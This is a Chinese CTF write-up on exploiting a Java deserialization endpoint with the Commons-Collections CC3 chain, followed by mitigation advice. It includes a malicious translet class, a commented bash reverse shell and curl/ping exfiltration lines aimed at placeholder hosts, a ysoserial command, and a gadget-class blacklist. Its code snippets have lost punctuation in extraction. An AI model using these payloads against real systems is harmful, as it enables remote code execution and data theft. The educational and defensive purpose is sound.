Java反序列化漏洞实战:从CC3链原理到CISCN赛题利用

📅 2026/8/27 22:52:36
Java反序列化漏洞实战:从CC3链原理到CISCN赛题利用
1. 从一道赛题看Java反序列化的“新”与“旧”最近在复盘去年的CISCN国赛初赛题目其中一道名为DeserBug的Java反序列化题目让我印象挺深。它不像一些“直给”的题目直接把利用链和payload摆在你面前而是需要你从一堆看似平常的代码和依赖里自己把那条能通往RCE的路给挖出来。这道题的核心其实是考察对Java反序列化漏洞原理的深度理解特别是对Commons-Collections这个“老演员”在特定版本和JDK环境下的“新”利用方式的掌握。很多人一看到CC链就想到TransformedMap或者LazyMap配合InvokerTransformer但在这道题里常规思路可能会直接碰壁。它更像是一个实战环境的微缩模型给你一个存在潜在反序列化入口的应用依赖库版本受限JDK环境也有讲究你需要像真正的安全研究员一样去分析、去构造、去绕过。复现这道题的过程不仅是对CC3链TemplatesImpl加载字节码的一次绝佳练习更是对Java安全机制、类加载、字节码动态生成等底层知识的一次串联。接下来我就带你一步步拆解这道DeserBug看看如何从零开始让一个反序列化点“吐出”一个命令执行的shell。2. 题目环境搭建与初步信息收集复现任何题目第一步永远是搭建一个和比赛时尽可能一致的环境。盲目动手很可能在环境差异上浪费大量时间。2.1 依赖分析与项目结构题目通常会给源码或者一个简单的项目描述。对于DeserBug我们假设拿到的是一个标准的Spring Boot或简单Servlet项目其中存在一个接收Base64编码数据并进行反序列化的端点。关键点在于项目的pom.xml或build.gradle文件。首先我们需要锁定关键的依赖版本这直接决定了可利用的链的范围Commons-Collections: 题目很可能使用了3.2.1或3.2.2版本。这是一个经典版本包含了丰富的危险Transformer实现。但注意高版本JDK8u71对AnnotationInvocationHandler做了修复导致传统的CC1TransformedMap链失效这也是题目引导我们走向CC3链的原因之一。JDK版本: 这是另一个决定性因素。题目环境通常是JDK 8但具体是小版本多少为了通用性我们的利用链最好能兼容8u71之后的版本。CC3链利用TemplatesImpl对JDK版本的要求相对宽松是更可靠的选择。其他依赖: 关注是否有commons-beanutils,javassist,asm等库它们可能提供额外的链或构造便利。但本题核心是CC3这些可能不是必需品。一个典型的pom.xml依赖可能长这样dependencies !-- 核心漏洞库 -- dependency groupIdcommons-collections/groupId artifactIdcommons-collections/artifactId version3.2.1/version /dependency !-- Web框架提供反序列化入口 -- dependency groupIdorg.springframework.boot/groupId artifactIdspring-boot-starter-web/artifactId /dependency /dependencies注意在实际复现中务必使用Maven或Gradle的dependency:tree命令确认所有依赖的实际版本避免传递依赖引入不预期的版本导致利用失败。2.2 反序列化入口点定位题目名为DeserBug暗示反序列化漏洞。我们需要在代码中找到哪里进行了不安全的反序列化操作。常见模式有HTTP参数反序列化 控制器Controller中读取一个参数如data对其进行Base64解码然后直接传入ObjectInputStream。Cookie或Session反序列化 对特定的Cookie值进行解码和反序列化。RMI或JNDI注入 但本题更偏向于直接的“白盒”代码审计。找到的代码可能类似于PostMapping(/bug) public String deserialize(RequestParam String payload) { try { byte[] data Base64.getDecoder().decode(payload); ByteArrayInputStream bais new ByteArrayInputStream(data); ObjectInputStream ois new ObjectInputStream(bais); Object obj ois.readObject(); // 危险的反序列化点 ois.close(); return Deserialized: obj.getClass().getName(); } catch (Exception e) { return Error: e.getMessage(); } }这就是我们的攻击入口。我们的目标就是构造一个特殊的payload字符串使其反序列化后能触发恶意代码执行。2.3 利用链方向判断为什么是CC3拿到环境和入口后不要急着去网上抄一个payload。先做分析CC1 (LazyMap/TransformedMap InvokerTransformer AnnotationInvocationHandler) 这条链在JDK8u71之后因为AnnotationInvocationHandler#readObject的逻辑修改而失效。如果题目环境是较新的JDK8此路不通。CC6 (HashSet TiedMapEntry LazyMap) 这条链是为了绕过CC1在高版本JDK的修复而诞生的但它依然依赖InvokerTransformer来执行方法调用最终可能受到SecurityManager或某些方法黑名单的限制。CC3 (InstantiateTransformer/TrAXFilter TemplatesImpl) 这条链的核心是利用TemplatesImpl类它内部存储了字节码并在其newTransformer()或getOutputProperties()方法被调用时会动态加载并实例化这些字节码。这条链的优势在于最终执行的是原生Java字节码非常灵活可以执行任意Java代码。不依赖InvokerTransformer来反射调用Runtime.exec()可能绕过一些基于方法名的简单防护。对JDK版本依赖较小。结合题目名称DeserBug和常见赛题套路以及依赖中存在的commons-collections 3.2.1利用CC3链是概率最高的突破口。我们的任务就从“如何构造一个CC3链的payload”转变为“如何结合题目具体代码成功让反序列化过程触发TemplatesImpl#newTransformer()”。3. CC3利用链的核心原理与手工构造理解原理是成功利用的前提。CC3链的终点是调用TemplatesImpl#newTransformer()或getOutputProperties()。我们需要让反序列化过程自动走到这一步。3.1 起点寻找可用的Transformer在Commons-Collections 3.2.1中InstantiateTransformer和ChainedTransformer是我们的好帮手。InstantiateTransformer: 这个Transformer的transform方法会使用反射通过构造函数实例化一个类。例如我们可以让它去实例化javax.xml.transform.Templates接口的某个实现类。ChainedTransformer: 它将多个Transformer串联起来按顺序执行。我们可以用它来组合操作。但这里有个关键转折经典的CC3链利用TrAXFilter类作为跳板。TrAXFilter的构造函数接收一个Templates对象并在初始化时立即调用其newTransformer()方法。因此构造链的一种思路是InstantiateTransformer(实例化TrAXFilter) -TrAXFilter构造函数 - 传入的TemplatesImpl对象 -TemplatesImpl#newTransformer()- 加载恶意字节码。然而在构造ChainedTransformer数组时我们需要精心设计这个调用序列。3.2 核心构造恶意的TemplatesImpl对象com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl是一个神奇的类它实现了Serializable接口并且内部有一个_bytecodes字段可以存储序列化的类字节码。当它的newTransformer()或getOutputProperties()方法被调用时会调用defineTransletClasses()方法进而使用ClassLoader加载_bytecodes中的类并实例化。因此我们需要生成恶意字节码 我们需要一个实现了org.apache.xalan.xsltc.runtime.AbstractTranslet接口的类。这个类可以在静态代码块或构造函数中写入我们的恶意逻辑如执行系统命令。使用javassist或直接编写Java代码再编译可以方便地生成这个类的字节数组。import com.sun.org.apache.xalan.internal.xsltc.DOM; import com.sun.org.apache.xalan.internal.xsltc.TransletException; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import java.io.IOException; public class EvilClass extends AbstractTranslet { static { try { // 恶意代码执行计算器Windows Runtime.getRuntime().exec(calc.exe); // 或反弹ShellLinux // Runtime.getRuntime().exec(new String[]{/bin/bash, -c, exec 5/dev/tcp/your_ip/port;cat 5 | while read line; do $line 25 5; done}); } catch (IOException e) { e.printStackTrace(); } } Override public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {} Override public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {} }将这个类编译后读取其.class文件内容转换为字节数组。构造TemplatesImpl对象 通过反射设置其_bytecodes字段为包含我们恶意类字节码的二维数组byte[][]同时还需要设置_name类名、_tfactory一个TransformerFactoryImpl实例等必要字段确保类加载过程能顺利进行。TemplatesImpl templates new TemplatesImpl(); setFieldValue(templates, “_bytecodes”, new byte[][]{evilBytes}); setFieldValue(templates, “_name”, “Evil”); setFieldValue(templates, “_tfactory”, new TransformerFactoryImpl()); // _class 字段会在加载后自动生成无需设置3.3 组装构建完整的Gadget链现在我们有恶意TemplatesImpl对象templates和可用的Transformer。接下来需要构建一个对象图使得反序列化时能自动触发链式调用。经典的CC3链组装方式之一是利用ConstantTransformer、InstantiateTransformer和ChainedTransformer来触发TrAXFilter的初始化Transformer[] transformers new Transformer[] { new ConstantTransformer(TrAXFilter.class), // 第一步返回TrAXFilter.class new InstantiateTransformer( new Class[]{Templates.class}, new Object[]{templates} // 第二步实例化TrAXFilter传入我们的templates ) }; Transformer chainedTransformer new ChainedTransformer(transformers);但是仅仅有chainedTransformer还不够。我们需要一个“触发器”一个在反序列化readObject时会自动调用transform方法的对象。在CC库中LazyMap和TransformedMap可以扮演这个角色。它们会在访问其get方法时对key或value应用指定的Transformer。我们以TransformedMap为例需要找到一个类它的readObject方法会去遍历并“触碰”Map中的条目。sun.reflect.annotation.AnnotationInvocationHandler尽管高版本JDK修复了CC1但其readObject依然会遍历Map或者某些其他类的反序列化逻辑可能满足条件。但在构造最终利用链时我们需要将chainedTransformer包装进一个TransformedMap并将这个Map作为某个可序列化对象的成员。实际上更常见的CC3最终组装会利用BadAttributeValueExpException或HashSet/HashMap的hashCode/equals触发的特性来触发对LazyMap.get()的调用进而触发整个Transformer链。这需要更精细的构造。由于手工构造整个链非常繁琐且容易出错在实战和CTF中我们通常会借助像ysoserial这样的工具来生成payload。但理解每一步的原理对于调试和解决各种“意外情况”至关重要。4. 利用ysoserial生成Payload与本地调试对于复现和解题使用成熟的工具是最高效的。ysoserial是一个集成了多种Java反序列化利用链的生成工具。4.1 生成CC3 Payload假设我们已经用javassist生成了恶意类的字节码并整合到了ysoserial的代码中或者使用其内置的CommonsCollections3Gadget它通常已经实现了基于TemplatesImpl的利用。在命令行中我们可以这样生成一个执行命令的payloadjava -jar ysoserial.jar CommonsCollections3 “open /System/Applications/Calculator.app” payload.bin这条命令会生成一个序列化后的二进制文件payload.bin其中包含了完整的CC3利用链最终会执行打开计算器的命令。4.2 关键步骤Base64编码与发送题目入口通常接收Base64编码的字符串。我们需要将生成的二进制payload进行编码base64 -i payload.bin -o payload.txt或者使用Python等脚本import base64 with open(payload.bin, rb) as f: print(base64.b64encode(f.read()).decode())将得到的Base64字符串作为payload参数的值通过POST请求发送给目标端点。4.3 本地调试与常见问题排查发送payload后如果没收到预期结果比如计算器没弹出来就需要调试。无回显问题 这是CTF和实战中最常见的。命令执行了但输出没有返回给HTTP响应。我们的测试payloadcalc.exe是图形化程序在无界面的服务器环境会失败。应该使用有回显的命令比如Linux:curl http://your-vps/$(whoami)或者ping -c 1 your-vps.$(id)。通过DNS或HTTP日志外带数据。编写Webshell 让恶意字节码执行向网站目录写入一个JSP文件的操作。这需要知道绝对路径在CTF中有时可以通过报错信息或题目描述获取。本题如果设计为“有回显”可能会将命令执行结果直接或间接地反映在HTTP响应中需要仔细构造命令如cat /flag并观察响应变化。类加载或字节码问题ClassNotFoundException或NoClassDefFoundError: 确保生成的恶意类依赖的父类AbstractTranslet在目标类路径中。通常TemplatesImpl相关的类位于rt.jar中一般没问题。但如果环境特殊如Docker精简镜像可能缺失。字节码格式错误 使用javassist生成字节码时要确保生成的类格式正确特别是实现了所有必要的抽象方法transform。直接复制网上代码时要注意包名和类名。JDK版本与安全策略确认目标JDK版本。CC3链虽然对版本要求宽松但极端高版本如JDK 17可能因为模块化限制或更强的序列化过滤器而失效。是否存在SecurityManager某些环境会启用安全管理器禁止执行外部进程。此时需要寻找其他利用方式如文件读写、发起网络请求等。依赖冲突 使用ysoserial生成的payload依赖于特定版本的commons-collections。如果目标环境使用的是经过修改的库比如类名被混淆或者版本不匹配如3.2.2与3.2.1的细微差异可能导致利用失败。这时可能需要根据目标环境手动调整ysoserial的源码并重新编译。实操心得 在本地搭建与目标完全一致的环境包括JDK小版本、库版本进行调试是成功率最高的方法。利用Docker可以快速构建这样的环境。将题目源码跑起来在本机用调试器如IDEAattach上去单步跟踪反序列化和命令执行过程能让你对利用链的每一个环节了如指掌。5. 漏洞修复与安全编程建议复现漏洞是为了更好地防御。通过这道题我们可以总结出针对Java反序列化漏洞的防护措施。5.1 根本解决方案避免不安全的反序列化最彻底的方法是不使用Java原生序列化ObjectInputStream/ObjectOutputStream来处理不可信数据。使用安全的替代方案 对于数据传输和持久化考虑使用JSON如Jackson、Gson、XML需防范XXE、Protocol Buffers、Avro等格式。这些格式通常不直接导致代码执行。如果必须使用Java序列化 确保反序列化的数据来源绝对可信例如来自完全受控的服务器端存储或经过强认证的通信通道。5.2 应用层防护输入验证与白名单当无法避免使用ObjectInputStream时必须实施严格的防护。实现ObjectInputFilter(JDK 9): 这是JDK内置的序列化过滤器机制。可以定义白名单允许的类或黑名单拒绝的类。ObjectInputFilter filter ObjectInputFilter.allowFilter( cl - cl.getPackageName().equals(“com.trusted.model”), ObjectInputFilter.Status.REJECTED ); ois.setObjectInputFilter(filter);对于JDK 8可以使用第三方库如SerialKiller来实现类似功能。自定义ObjectInputStream与resolveClass: 重写ObjectInputStream的resolveClass方法对将要反序列化的类进行严格校验。public class SafeObjectInputStream extends ObjectInputStream { private static final SetString BLACKLIST new HashSet(Arrays.asList( “org.apache.commons.collections.functors.InvokerTransformer”, “org.apache.commons.collections.functors.InstantiateTransformer”, “com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl”, // ... 其他已知的危险类 )); Override protected Class? resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException { String className desc.getName(); if (BLACKLIST.contains(className)) { throw new InvalidClassException(“Unauthorized deserialization attempt”, className); } return super.resolveClass(desc); } }注意 黑名单永远有被绕过的风险新的Gadget、非标准类名等白名单机制只允许业务确需的类要安全得多但维护成本较高。5.3 依赖管理与运行时加固升级或替换危险库 将commons-collections升级到安全版本如4.4但需注意API变更或者使用其安全替代品。对于已知存在反序列化漏洞的库应保持关注并及时更新。使用Security Manager 配置严格的Java安全策略限制代码执行、文件访问、网络连接等权限。但这会带来一定的复杂性和性能开销。JVM参数加固 可以添加JVM参数来限制某些危险操作例如禁止通过反射修改final字段-Dsun.reflect.noCaches对部分利用链有影响但这不是根本解决方案。5.4 开发与运维习惯代码审计 在代码审查中重点关注所有使用ObjectInputStream、XMLDecoder、XStream、readObject、readResolve等关键字的地方。安全意识培训 让开发者了解反序列化漏洞的危险性避免在不明所以的情况下使用不安全的API。WAF/RASP防护 在应用层防火墙WAF或通过运行时应用自我保护RASP技术可以拦截恶意的序列化数据包检测危险类的加载和危险方法的调用。这道DeserBug题目就像一把钥匙打开了Java反序列化这个庞大而幽深领域的一扇门。从信息收集、环境分析到原理理解、链构造再到工具使用、调试排错最后到防御思考完成一次完整的复现其收获远不止于解出一道题。它训练的是在面对一个黑盒或灰盒系统时如何系统性地进行漏洞挖掘和利用的思维模式。在真实的安全研究中情况往往比CTF题目更复杂依赖更模糊防护措施更多层但底层原理是相通的。掌握像CC3这样经典的利用链理解其每一步的“为什么”才能在遇到新的变种或新的依赖库时举一反三找到那条通往漏洞利用的路径。